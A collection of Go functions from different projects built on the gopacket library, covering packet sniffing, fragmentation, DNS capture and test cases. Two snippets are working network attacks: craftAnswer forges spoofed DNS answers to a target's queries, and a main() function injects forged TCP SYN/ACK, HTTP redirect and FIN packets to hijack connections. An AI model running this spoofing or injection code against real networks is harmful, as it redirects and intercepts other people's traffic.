func (i *Sniffer) decodePackets() { var eth layers.Ethernet var ip layers.IPv4 var tcp layers.TCP var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &ip, &tcp, &payload) decoded := make([]gopacket.LayerType, 0, 4) for { select { case <-i.stopDecodeChan: return case timedRawPacket := <-i.decodePacketChan: newPayload := new(gopacket.Payload) payload = *newPayload err := parser.DecodeLayers(timedRawPacket.RawPacket, &decoded) if err != nil { continue } flow := types.NewTcpIpFlowFromFlows(ip.NetworkFlow(), tcp.TransportFlow()) packetManifest := types.PacketManifest{ Timestamp: timedRawPacket.Timestamp, Flow: flow, RawPacket: timedRawPacket.RawPacket, IP: ip, TCP: tcp, Payload: payload, } i.dispatcher.ReceivePacket(&packetManifest) } } }
func fragment(eth layers.Ethernet, ip layers.IPv4, mtu int, forward func([]byte)) error { // We are not doing any sort of NAT, so we don't need to worry // about checksums of IP payload (eg UDP checksum). headerSize := int(ip.IHL) * 4 // &^ is bit clear (AND NOT). So here we're clearing the lowest 3 // bits. maxSegmentSize := (mtu - headerSize) &^ 7 opts := gopacket.SerializeOptions{ FixLengths: false, ComputeChecksums: true} payloadSize := int(ip.Length) - headerSize payload := ip.BaseLayer.Payload[:payloadSize] offsetBase := int(ip.FragOffset) << 3 origFlags := ip.Flags ip.Flags = ip.Flags | layers.IPv4MoreFragments ip.Length = uint16(headerSize + maxSegmentSize) if eth.EthernetType == layers.EthernetTypeLLC { // using LLC, so must set eth length correctly. eth length // is just the length of the payload eth.Length = ip.Length } else { eth.Length = 0 } for offset := 0; offset < payloadSize; offset += maxSegmentSize { var segmentPayload []byte if len(payload) <= maxSegmentSize { // last one segmentPayload = payload ip.Length = uint16(len(payload) + headerSize) ip.Flags = origFlags if eth.EthernetType == layers.EthernetTypeLLC { eth.Length = ip.Length } else { eth.Length = 0 } } else { segmentPayload = payload[:maxSegmentSize] payload = payload[maxSegmentSize:] } ip.FragOffset = uint16((offset + offsetBase) >> 3) buf := gopacket.NewSerializeBuffer() segPayload := gopacket.Payload(segmentPayload) err := gopacket.SerializeLayers(buf, opts, ð, &ip, &segPayload) if err != nil { return err } forward(buf.Bytes()) } return nil }
/* FUNCTION: craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte{ RETURNS: Byte array containing the spoofed response DNS packet data ARGUMENTS: *layers.Ethernet ethernetLayer - the ethernet part of the packet recieved *layers.DNS dnsLayer - the dns part of the packet recieved *layers.IPv4 ipLayer - the ip part of the packet recieved *layers.UDP udpLayer - the udp part of the packet recieved ABOUT: Crafts a spoofed dns packet using the incoming query. */ func craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte { //if not a question return if dnsLayer.QR || ipLayer.SrcIP.String() != target { return nil } //must build every layer to send DNS packets ethMac := ethernetLayer.DstMAC ethernetLayer.DstMAC = ethernetLayer.SrcMAC ethernetLayer.SrcMAC = ethMac ipSrc := ipLayer.SrcIP ipLayer.SrcIP = ipLayer.DstIP ipLayer.DstIP = ipSrc srcPort := udpLayer.SrcPort udpLayer.SrcPort = udpLayer.DstPort udpLayer.DstPort = srcPort err = udpLayer.SetNetworkLayerForChecksum(ipLayer) checkError(err) var answer layers.DNSResourceRecord answer.Type = layers.DNSTypeA answer.Class = layers.DNSClassIN answer.TTL = 200 answer.IP = ipAddr dnsLayer.QR = true for _, q := range dnsLayer.Questions { if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN { continue } answer.Name = q.Name dnsLayer.Answers = append(dnsLayer.Answers, answer) dnsLayer.ANCount = dnsLayer.ANCount + 1 } buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } err = gopacket.SerializeLayers(buf, opts, ethernetLayer, ipLayer, udpLayer, dnsLayer) checkError(err) return buf.Bytes() }
// getPacketFlow returns a TcpIpFlow struct given a byte array packet func NewTcpIpFlowFromPacket(packet []byte) (*TcpIpFlow, error) { var ip layers.IPv4 var tcp layers.TCP decoded := []gopacket.LayerType{} parser := gopacket.NewDecodingLayerParser(layers.LayerTypeIPv4, &ip, &tcp) err := parser.DecodeLayers(packet, &decoded) if err != nil { return &TcpIpFlow{}, err } return &TcpIpFlow{ ipFlow: ip.NetworkFlow(), tcpFlow: tcp.TransportFlow(), }, nil }
func serialize(ipLayer *layers.IPv4) ([]byte, error) { /*Write the IPv4 header into a gopacket buffer*/ buf := gopacket.NewSerializeBuffer() err := ipLayer.SerializeTo(buf, gopacket.SerializeOptions{FixLengths: false, ComputeChecksums: true}) if err != nil { return nil, err } /*Write the gopacket buffer and the payload into a byte buffer, concatenating the entire packet together.*/ var buf2 bytes.Buffer buf2.Write(buf.Bytes()) buf2.Write(ipLayer.Payload) return buf2.Bytes(), nil }
func TestnotFrag(t *testing.T) { ip := layers.IPv4{ Version: 4, TTL: 220, SrcIP: net.IPv4(1, 1, 1, 1), DstIP: net.IPv4(2, 2, 2, 2), Flags: layers.IPv4DontFragment, } v4defragger := ip4defrag.NewIPv4Defragmenter() b := gopacket.NewSerializeBuffer() ops := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } ip.SerializeTo(b, ops) pack := gopacket.NewPacket(b.Bytes(), layers.LinkTypeIPv4, gopacket.Default) _, err := v4defragger.DefragIPv4(pack.Layer(layers.LayerTypeIPv4).(*layers.IPv4)) if err != nil { t.Errorf("v4defrag do not return err when no frag pack is in") } }
func benchmarkLayerDecode(source *BufferPacketSource, assemble bool) { var tcp layers.TCP var ip layers.IPv4 var eth layers.Ethernet var udp layers.UDP var icmp layers.ICMPv4 var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ð, &ip, &icmp, &tcp, &udp, &payload) pool := tcpassembly.NewStreamPool(&streamFactory{}) assembler := tcpassembly.NewAssembler(pool) var decoded []gopacket.LayerType start := time.Now() packets, decodedlayers, assembled := 0, 0, 0 for { packets++ data, ci, err := source.ReadPacketData() if err == io.EOF { break } else if err != nil { fmt.Println("Error reading packet: ", err) continue } err = parser.DecodeLayers(data, &decoded) for _, typ := range decoded { decodedlayers++ if typ == layers.LayerTypeTCP && assemble { assembled++ assembler.AssembleWithTimestamp(ip.NetworkFlow(), &tcp, ci.Timestamp) } } } if assemble { assembler.FlushAll() } duration := time.Since(start) fmt.Printf("\tRead in %d packets in %v, decoded %v layers, assembled %v packets: %v per packet\n", packets, duration, decodedlayers, assembled, duration/time.Duration(packets)) }
func TestnotFrag(t *testing.T) { ip := layers.IPv4{ Version: 4, TTL: 220, SrcIP: net.IPv4(1, 1, 1, 1), DstIP: net.IPv4(2, 2, 2, 2), Flags: layers.IPv4DontFragment, } nomalPack := make(chan gopacket.Packet, 5) fragV4Pack := make(chan gopacket.Packet, 5) b := gopacket.NewSerializeBuffer() ops := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } ip.SerializeTo(b, ops) pack := gopacket.NewPacket(b.Bytes(), layers.LinkTypeIPv4, gopacket.Default) fragV4Pack <- pack err := v4Defrag(fragV4Pack, nomalPack) if err != nil { t.Errorf("v4defrag do not return err when no frag pack is in") } }
// processor is a worker that decodes packets and passes on to Account and Log. func (c *Capture) processor(num int, packetsCh <-chan gopacket.Packet) { log.Printf("processor %d: starting", num) buffer := c.nextBuffer() defer func() { // TODO: Save a checkpoint. if c.Log != nil { c.Log(buffer) } }() var ( eth layers.Ethernet ip4 layers.IPv4 ip6 layers.IPv6 tcp layers.TCP udp layers.UDP dns layers.DNS payload gopacket.Payload ) parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &ip4, &ip6, &tcp, &udp, &dns, &payload) for packet := range packetsCh { var decoded []gopacket.LayerType if err := parser.DecodeLayers(packet.Data(), &decoded); err != nil { log.Printf("processor %d: %v", num, err) } m := packet.Metadata() b := Metadata{ Timestamp: m.Timestamp, Size: uint64(m.Length), } for _, layerType := range decoded { switch layerType { case layers.LayerTypeIPv6: b.SrcIP, b.DstIP = ip6.SrcIP, ip6.DstIP b.SrcName, b.DstName = c.revDNS.names(local(b.SrcIP, b.DstIP), ip6.NetworkFlow()) b.V6 = true case layers.LayerTypeIPv4: b.SrcIP, b.DstIP = ip4.SrcIP, ip4.DstIP b.SrcName, b.DstName = c.revDNS.names(local(b.SrcIP, b.DstIP), ip4.NetworkFlow()) case layers.LayerTypeTCP: b.SrcPort, b.DstPort = uint16(tcp.SrcPort), uint16(tcp.DstPort) case layers.LayerTypeUDP: b.SrcPort, b.DstPort = uint16(udp.SrcPort), uint16(udp.DstPort) case layers.LayerTypeDNS: // Add DNS answers to reverse DNS map. // The "src" is the host who did the query, but answers are replies, so "src" = dst. // Should be here only after b.DstIP is set. c.revDNS.add(b.DstIP, &dns) } } c.Account(&b) if c.Log != nil { buffer = append(buffer, b) if len(buffer) >= c.BufferSize { go c.logBuffer(buffer) buffer = c.nextBuffer() } } } log.Printf("processor %d: stopping", num) }
// Given an EvePacket, convert the payload to a PCAP faking out the // headers as best we can. // // A buffer containing the 1 packet pcap file will be returned. func EvePayloadToPcap(event *EveEvent) ([]byte, error) { buffer := gopacket.NewSerializeBuffer() options := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } payloadLayer := gopacket.Payload(event.Payload.Bytes()) payloadLayer.SerializeTo(buffer, options) srcIp := net.ParseIP(event.SrcIP) if srcIp == nil { return nil, fmt.Errorf("Failed to parse IP address %s.", event.SrcIP) } dstIp := net.ParseIP(event.DstIP) if dstIp == nil { return nil, fmt.Errorf("Failed to parse IP address %s.", event.DstIP) } proto, err := ProtoNumber(event.Proto) if err != nil { return nil, err } switch proto { case layers.IPProtocolTCP: // Could probably fake up a better TCP layer here. tcpLayer := layers.TCP{ SrcPort: layers.TCPPort(event.SrcPort), DstPort: layers.TCPPort(event.DstPort), } tcpLayer.SerializeTo(buffer, options) break case layers.IPProtocolUDP: udpLayer := layers.UDP{ SrcPort: layers.UDPPort(event.SrcPort), DstPort: layers.UDPPort(event.DstPort), } udpLayer.SerializeTo(buffer, options) break case layers.IPProtocolICMPv4: icmpLayer := layers.ICMPv4{ TypeCode: layers.CreateICMPv4TypeCode( event.IcmpType, event.IcmpCode), Id: 0, Seq: 0, } icmpLayer.SerializeTo(buffer, options) break case layers.IPProtocolICMPv6: icmp6Layer := layers.ICMPv6{ TypeCode: layers.CreateICMPv6TypeCode( event.IcmpType, event.IcmpCode), } icmp6Layer.SerializeTo(buffer, options) break default: return nil, fmt.Errorf("Unsupported protocol %d.", proto) } isIp6 := dstIp.To4() == nil if !isIp6 { ipLayer := layers.IPv4{ SrcIP: srcIp, DstIP: dstIp, Version: 4, Protocol: proto, TTL: 64, } ipLayer.SerializeTo(buffer, options) } else { ip6Layer := layers.IPv6{ Version: 6, SrcIP: srcIp, DstIP: dstIp, } ip6Layer.SerializeTo(buffer, options) } return pcap.CreatePcap(event.Timestamp.Time, buffer.Bytes(), layers.LinkTypeRaw) }
//kick off packet procesing threads and start the packet capture loop func doCapture(handle *pcap.Handle, logChan chan dnsLogEntry, config *pdnsConfig, reChan chan tcpDataStruct, stats *statsd.StatsdBuffer) { gcAgeDur, err := time.ParseDuration(config.gcAge) if err != nil { log.Fatal("Your gc_age parameter was not parseable. Use a string like '-1m'") } gcIntervalDur, err := time.ParseDuration(config.gcInterval) if err != nil { log.Fatal("Your gc_age parameter was not parseable. Use a string like '3m'") } //setup the global channel for reassembled TCP streams reassembleChan = reChan /* init channels for the packet handlers and kick off handler threads */ var channels []chan *packetData for i := 0; i < config.numprocs; i++ { channels = append(channels, make(chan *packetData, 100)) } for i := 0; i < config.numprocs; i++ { go handlePacket(channels[i], logChan, gcIntervalDur, gcAgeDur, i, stats) } // Use the handle as a packet source to process all packets packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) //only decode packet in response to function calls, this moves the //packet processing to the processing threads packetSource.DecodeOptions.Lazy = true //We don't mutate bytes of the packets, so no need to make a copy //this does mean we need to pass the packet via the channel, not a pointer to the packet //as the underlying buffer will get re-allocated packetSource.DecodeOptions.NoCopy = true /* parse up to the IP layer so we can consistently balance the packets across our processing threads TODO: in the future maybe pass this on the channel to so we don't reparse but the profiling I've done doesn't point to this as a problem */ var ethLayer layers.Ethernet var ipLayer layers.IPv4 parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, ðLayer, &ipLayer, ) foundLayerTypes := []gopacket.LayerType{} CAPTURE: for { select { case reassembledTcp := <-reChan: pd := NewTcpData(reassembledTcp) channels[int(reassembledTcp.IpLayer.FastHash())&(config.numprocs-1)] <- pd if stats != nil { stats.Incr("reassembed_tcp", 1) } case packet := <-packetSource.Packets(): if packet != nil { parser.DecodeLayers(packet.Data(), &foundLayerTypes) if foundLayerType(layers.LayerTypeIPv4, foundLayerTypes) { pd := NewPacketData(packet) channels[int(ipLayer.NetworkFlow().FastHash())&(config.numprocs-1)] <- pd if stats != nil { stats.Incr("packets", 1) } } } else { //if we get here, we're likely reading a pcap and we've finished //or, potentially, the physical device we've been reading from has been //downed. Or something else crazy has gone wrong...so we break //out of the capture loop entirely. log.Debug("packetSource returned nil.") break CAPTURE } } } gracefulShutdown(channels, reChan, logChan) }
// NewTcpIpFlowFromLayers given IPv4 and TCP layers it returns a TcpIpFlow func NewTcpIpFlowFromLayers(ipLayer layers.IPv4, tcpLayer layers.TCP) *TcpIpFlow { return &TcpIpFlow{ ipFlow: ipLayer.NetworkFlow(), tcpFlow: tcpLayer.TransportFlow(), } }
func (i *Filter) decodePackets() { var eth layers.Ethernet var ip layers.IPv4 var ipv6 layers.IPv6 var tcp layers.TCP var udp layers.UDP var payload gopacket.Payload anomalyTest := make(chan *Pan) alertChan := make(chan *AlertMessage) panClose := make(chan *PanCtl) //_, IPNet, err := net.ParseCIDR("10.240.0.0/16") _, IPNet, err := net.ParseCIDR(i.options.FilterIpCIDR) if err != nil { log.Errorf("Error parsing CIDR: %#v", err) i.Stop() } decodedLen := 6 parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &ip, &ipv6, &tcp, &udp, &payload) decoded := make([]gopacket.LayerType, 0, decodedLen) // Initialize wherefore goroutines piChan := PanopticonInfo() /* for at := 0; at < 10; at++ { } */ go i.AnomalyTester(anomalyTest, piChan, alertChan) go i.AlertSlack(alertChan) go i.PanRemover(panClose) for { select { case <-i.stopDecodeChan: return case timedRawPacket := <-i.decodePacketChan: newPayload := new(gopacket.Payload) payload = *newPayload err := parser.DecodeLayers(timedRawPacket.RawPacket, &decoded) if err != nil { continue } flow := types.NewTcpIpFlowFromFlows(ip.NetworkFlow(), tcp.TransportFlow()) dcopy := make([]gopacket.LayerType, decodedLen, decodedLen) if dc := copy(dcopy, decoded); dc <= 0 { log.Errorf("Copy of decoded layers failed: %d", dc) continue } packetManifest := types.PacketManifest{ Timestamp: timedRawPacket.Timestamp, Flow: flow, RawPacket: timedRawPacket.RawPacket, DecodedLayers: dcopy, Eth: eth, IP: ip, IPv4: ip, IPv6: ipv6, TCP: tcp, UDP: udp, Payload: payload, } //Short circut to only watch traffic heading in one direction //if FilterExternal(&packetManifest) == nil { if i.options.FilterSrc { if i.options.FilterBool && IPNet.Contains(packetManifest.IP.SrcIP) { continue } } if i.options.FilterDst { if i.options.FilterBool && IPNet.Contains(packetManifest.IP.DstIP) { continue } } //Pass packet manifest to the PM-Monitor function //TODO: Improve the flow around packet processing from the sniffer/splitter i.PMMonitor(&packetManifest, anomalyTest, panClose) } } }
func main() { defer util.Run()() var handle *pcap.Handle var err error flushDuration, err := time.ParseDuration(*flushAfter) if err != nil { log.Fatal("invalid flush duration: ", *flushAfter) } // log.Printf("starting capture on interface %q", *iface) // // Set up pcap packet capture // handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, flushDuration/2) // if err != nil { // log.Fatal("error opening pcap handle: ", err) // } // Set up pcap packet capture if *fname != "" { log.Printf("Reading from pcap dump %q", *fname) handle, err = pcap.OpenOffline(*fname) } else { log.Fatalln("Error: pcap file name is required!") // log.Printf("Starting capture on interface %q", *iface) // handle, err = pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) } if err != nil { log.Fatal(err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } // Set up assembly streamFactory := &statsStreamFactory{} streamPool := tcpassembly.NewStreamPool(streamFactory) assembler := tcpassembly.NewAssembler(streamPool) assembler.MaxBufferedPagesPerConnection = *bufferedPerConnection assembler.MaxBufferedPagesTotal = *bufferedTotal log.Println("reading in packets") // We use a DecodingLayerParser here instead of a simpler PacketSource. // This approach should be measurably faster, but is also more rigid. // PacketSource will handle any known type of packet safely and easily, // but DecodingLayerParser will only handle those packet types we // specifically pass in. This trade-off can be quite useful, though, in // high-throughput situations. var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var ip6 layers.IPv6 var ip6extensions layers.IPv6ExtensionSkipper var tcp layers.TCP var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &ip6, &ip6extensions, &tcp, &payload) decoded := make([]gopacket.LayerType, 0, 4) nextFlush := time.Now().Add(flushDuration / 2) var byteCount int64 start := time.Now() loop: for ; *packetCount != 0; *packetCount-- { // Check to see if we should flush the streams we have // that haven't seen any new data in a while. Note we set a // timeout on our PCAP handle, so this should happen even if we // never see packet data. if time.Now().After(nextFlush) { stats, _ := handle.Stats() log.Printf("flushing all streams that haven't seen packets in the last 2 minutes, pcap stats: %+v", stats) assembler.FlushOlderThan(time.Now().Add(flushDuration)) nextFlush = time.Now().Add(flushDuration / 2) } // To speed things up, we're also using the ZeroCopy method for // reading packet data. This method is faster than the normal // ReadPacketData, but the returned bytes in 'data' are // invalidated by any subsequent ZeroCopyReadPacketData call. // Note that tcpassembly is entirely compatible with this packet // reading method. This is another trade-off which might be // appropriate for high-throughput sniffing: it avoids a packet // copy, but its cost is much more careful handling of the // resulting byte slice. data, ci, err := handle.ZeroCopyReadPacketData() if err != nil { log.Printf("error getting packet: %v", err) break loop // continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } if *logAllPackets { log.Printf("decoded the following layers: %v", decoded) } byteCount += int64(len(data)) // Find either the IPv4 or IPv6 address to use as our network // layer. foundNetLayer := false var netFlow gopacket.Flow for _, typ := range decoded { switch typ { case layers.LayerTypeIPv4: netFlow = ip4.NetworkFlow() foundNetLayer = true case layers.LayerTypeIPv6: netFlow = ip6.NetworkFlow() foundNetLayer = true case layers.LayerTypeTCP: if foundNetLayer { assembler.AssembleWithTimestamp(netFlow, &tcp, ci.Timestamp) } else { log.Println("could not find IPv4 or IPv6 layer, inoring") } continue loop } } log.Println("could not find TCP layer") } assembler.FlushAll() log.Printf("processed %d bytes in %v", byteCount, time.Since(start)) }
/* Adds the SIFF header to a packet, or modifies it in the case that it already exists. Pass in the NFPacket, the flags (bitwise OR them if you need both), and the capabilities and capability updates arrays. If only IsSiff is set, just fill the last 4 bytes with dummy data, it'll be ignored. If you want to update specific fields, then use the [update function name here] function */ func setSiffFields(packet *netfilter.NFPacket, flags uint8, capabilities []byte, updoots []byte) { var ipLayer *layers.IPv4 var option [1]layers.IPv4Option option[0].OptionType = 86 option[0].OptionLength = 8 /* Get the IPv4 layer, and if it doesn't exist, keep doing shit I can't be arsed for proper response outside the bounds of this project */ if layer := packet.Packet.Layer(layers.LayerTypeIPv4); layer != nil { ipLayer = layer.(*layers.IPv4) } else { // maybe do something? } /* Modify the ip layer information */ var IHLchange uint16 = uint16(ipLayer.IHL) // compute new IHL and length if (flags & CapabilityUpdate) == CapabilityUpdate { ipLayer.IHL = 8 option[0].OptionLength = 12 } else if (flags&IsSiff) == IsSiff || (flags&Exp) == Exp { ipLayer.IHL = 7 } else { ipLayer.IHL = 5 } IHLchange = uint16(ipLayer.IHL) - IHLchange if IHLchange != 0 { ipLayer.Length += IHLchange * 4 } if (flags & Evil) == Evil { // set the evil flag. If we do this, we don't need to do anything else, // since evil packets are legacy, and don't have other flags ipLayer.Flags |= layers.IPv4EvilBit } else { // set the flags option option[0].OptionData = []byte{0, 0} if (flags & Exp) == Exp { option[0].OptionData[0] = byte(Exp) } if (flags & CapabilityUpdate) == CapabilityUpdate { option[0].OptionData[0] |= byte(IsSiff | CapabilityUpdate) } else if (flags & IsSiff) == IsSiff { option[0].OptionData[0] |= byte(IsSiff) } // handle the options if flags != 0 { for _, b := range capabilities { option[0].OptionData = append(option[0].OptionData, b) } } if (flags & CapabilityUpdate) == CapabilityUpdate { for _, b := range updoots { option[0].OptionData = append(option[0].OptionData, b) } } // add options if flags != 0 { ipLayer.Options = append([]layers.IPv4Option{option[0]}, ipLayer.Options...) } } // we're done }
func main() { defer util.Run()() var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var tcp layers.TCP var payload gopacket.Payload r := rand.New(rand.NewSource(time.Now().UnixNano())) hijackSeq := r.Uint32() decoded := make([]gopacket.LayerType, 0, 4) streamInjector := attack.TCPStreamInjector{} err := streamInjector.Init("0.0.0.0") if err != nil { panic(err) } handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { log.Fatal("error opening pcap handle: ", err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &tcp, &payload) log.Print("collecting packets...\n") for { data, ci, err := handle.ZeroCopyReadPacketData() if err != nil { log.Printf("error getting packet: %v %s", err, ci) continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } // craft a response to the client // here we reuse the client's header // by swapping addrs and ports // swap ip addrs srcip := ip4.SrcIP ip4.SrcIP = ip4.DstIP ip4.DstIP = srcip // swap ports srcport := tcp.SrcPort tcp.SrcPort = tcp.DstPort tcp.DstPort = srcport // empty payload for SYN/ACK handshake completion streamInjector.Payload = []byte("") seq := tcp.Seq tcp.Seq = hijackSeq tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.ACK = true tcp.SYN = true tcp.RST = false err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("SYN/ACK packet sent!\n") // send rediction payload redirect := []byte("HTTP/1.1 307 Temporary Redirect\r\nLocation: http://127.0.0.1/?\r\n\r\n") streamInjector.Payload = redirect tcp.PSH = true tcp.SYN = false tcp.ACK = true tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(1)) err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("redirect packet sent!\n") // send FIN streamInjector.Payload = []byte("") tcp.FIN = true tcp.SYN = false tcp.ACK = false tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(2)) err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("FIN packet sent!\n") } }
// newIPv4 returns a new initialized IPv4 Flow func newIPv4(ip *layers.IPv4) ipv4 { return ipv4{ ip4: ip.NetworkFlow(), id: ip.Id, } }
//sendPacket generates & sends a packet of arbitrary size to a specific destination. //The size specified should be larger then 40bytes. func sendPacket(sourceIP string, destinationIP string, size int, message string, appID int, chanID int, icmpType layers.ICMPv4TypeCode) []byte { var payloadSize int if size < 28 { //Unable to create smaller packets. payloadSize = 0 } else { payloadSize = size - 28 } //Convert IP to 4bit representation srcIP := net.ParseIP(sourceIP).To4() dstIP := net.ParseIP(destinationIP).To4() //IP Layer ip := layers.IPv4{ SrcIP: srcIP, DstIP: dstIP, Version: 4, TTL: 64, Protocol: layers.IPProtocolICMPv4, } icmp := layers.ICMPv4{ TypeCode: icmpType, } opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } ipHeaderBuf := gopacket.NewSerializeBuffer() err := ip.SerializeTo(ipHeaderBuf, opts) if err != nil { panic(err) } //Set "Don't Fragment"-Flag in Header ipHeader, err := ipv4.ParseHeader(ipHeaderBuf.Bytes()) ipHeader.Flags |= ipv4.DontFragment if err != nil { panic(err) } payloadBuf := gopacket.NewSerializeBuffer() //Influence the payload size payload := gopacket.Payload(generatePayload(payloadSize, ","+strconv.Itoa(appID)+","+strconv.Itoa(chanID)+","+message+",")) err = gopacket.SerializeLayers(payloadBuf, opts, &icmp, payload) if err != nil { panic(err) } //Send packet var packetConn net.PacketConn var rawConn *ipv4.RawConn packetConn, err = net.ListenPacket("ip4:icmp", srcIP.String()) if err != nil { panic(err) } rawConn, err = ipv4.NewRawConn(packetConn) if err != nil { panic(err) } err = rawConn.WriteTo(ipHeader, payloadBuf.Bytes(), nil) return append(ipHeaderBuf.Bytes(), payloadBuf.Bytes()...) }
func (h *dnsStream) creatPacket(msg_buf []byte, nomalPack chan gopacket.Packet) { var sourcePort, DesPort int16 //read the port from tranport flow b_buf := bytes.NewBuffer(h.transport.Src().Raw()) binary.Read(b_buf, binary.BigEndian, &sourcePort) b_buf = bytes.NewBuffer(h.transport.Dst().Raw()) binary.Read(b_buf, binary.BigEndian, &DesPort) //new a UDP layer udpLayer := layers.UDP{ BaseLayer: layers.BaseLayer{ Contents: []byte{}, Payload: msg_buf, }, SrcPort: layers.UDPPort(sourcePort), DstPort: layers.UDPPort(DesPort), Length: 1024, Checksum: 30026, } UDPNewSerializBuffer := gopacket.NewSerializeBuffer() // this buffer could be used as a payload of IP layer udpBuffer, _ := UDPNewSerializBuffer.PrependBytes(len(msg_buf)) copy(udpBuffer, msg_buf) ops := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } if h.net.EndpointType() == layers.EndpointIPv4 { ip_checksum := layers.IPv4{} ip_checksum.Version = 4 ip_checksum.TTL = 0 ip_checksum.SrcIP = h.net.Src().Raw() ip_checksum.DstIP = h.net.Dst().Raw() udpLayer.SetNetworkLayerForChecksum(&ip_checksum) } else { ip6_checksum := layers.IPv6{} ip6_checksum.Version = 6 ip6_checksum.NextHeader = layers.IPProtocolNoNextHeader ip6_checksum.HopLimit = 0 ip6_checksum.SrcIP = h.net.Src().Raw() ip6_checksum.DstIP = h.net.Dst().Raw() udpLayer.SetNetworkLayerForChecksum(&ip6_checksum) } err := udpLayer.SerializeTo(UDPNewSerializBuffer, ops) if err != nil { fmt.Print("error in create udp Layer") return //err = nil // need err handle there } fmt.Println("finished creat udplayer, the length is ", udpLayer.Length) if h.net.EndpointType() == layers.EndpointIPv4 { // if it is from ipv4, construct a ipv4 layer ip := layers.IPv4{ BaseLayer: layers.BaseLayer{ Contents: []byte{}, Payload: UDPNewSerializBuffer.Bytes(), }, Version: 4, IHL: 0, TOS: 0, Length: 0, Id: 0, Flags: 0, FragOffset: 0, TTL: 0, Protocol: layers.IPProtocolUDP, Checksum: 0, SrcIP: h.net.Src().Raw(), DstIP: h.net.Dst().Raw(), Options: []layers.IPv4Option{}, Padding: []byte{}, } //serialize it and use the serilize buffer to new packet IPserializeBuffer := gopacket.NewSerializeBuffer() ipBuffer, _ := IPserializeBuffer.PrependBytes(len(UDPNewSerializBuffer.Bytes())) copy(ipBuffer, UDPNewSerializBuffer.Bytes()) err = ip.SerializeTo(IPserializeBuffer, ops) if err != nil { fmt.Print("error in create ipv4 Layer") return //err = nil // need err handle there } fmt.Println("finished creat ip, the length is ", ip.Length) resultPack := gopacket.NewPacket(IPserializeBuffer.Bytes(), layers.LayerTypeIPv4, gopacket.Default) resultPack.Metadata().CaptureLength = len(resultPack.Data()) resultPack.Metadata().Length = len(resultPack.Data()) //seems the capture length is 0 so the pcapwrite cannot write it, try to give them a write value nomalPack <- resultPack return } else if h.net.EndpointType() == layers.EndpointIPv6 { // if it is in IPV6 contruct ipv6 packet ip := layers.IPv6{ BaseLayer: layers.BaseLayer{ Contents: []byte{}, Payload: UDPNewSerializBuffer.Bytes(), }, Version: 6, TrafficClass: 0, FlowLabel: 0, Length: 0, NextHeader: layers.IPProtocolNoNextHeader, //no sure what next header should be used there HopLimit: 0, SrcIP: h.net.Src().Raw(), DstIP: h.net.Dst().Raw(), HopByHop: nil, // hbh will be pointed to by HopByHop if that layer exists. } IPserializeBuffer := gopacket.NewSerializeBuffer() err := ip.SerializeTo(IPserializeBuffer, ops) if err != nil { fmt.Printf("error in creat IPV6 Layer") return } fmt.Println("finished creat ip, the length is ", ip.Length) resultPack := gopacket.NewPacket(IPserializeBuffer.Bytes(), layers.LayerTypeIPv6, gopacket.Default) resultPack.Metadata().CaptureLength = len(resultPack.Data()) resultPack.Metadata().Length = len(resultPack.Data()) //seems the capture length is 0 so the pcapwrite cannot write it, try to give them a write value nomalPack <- resultPack return } else { return //unknown network just return? } }
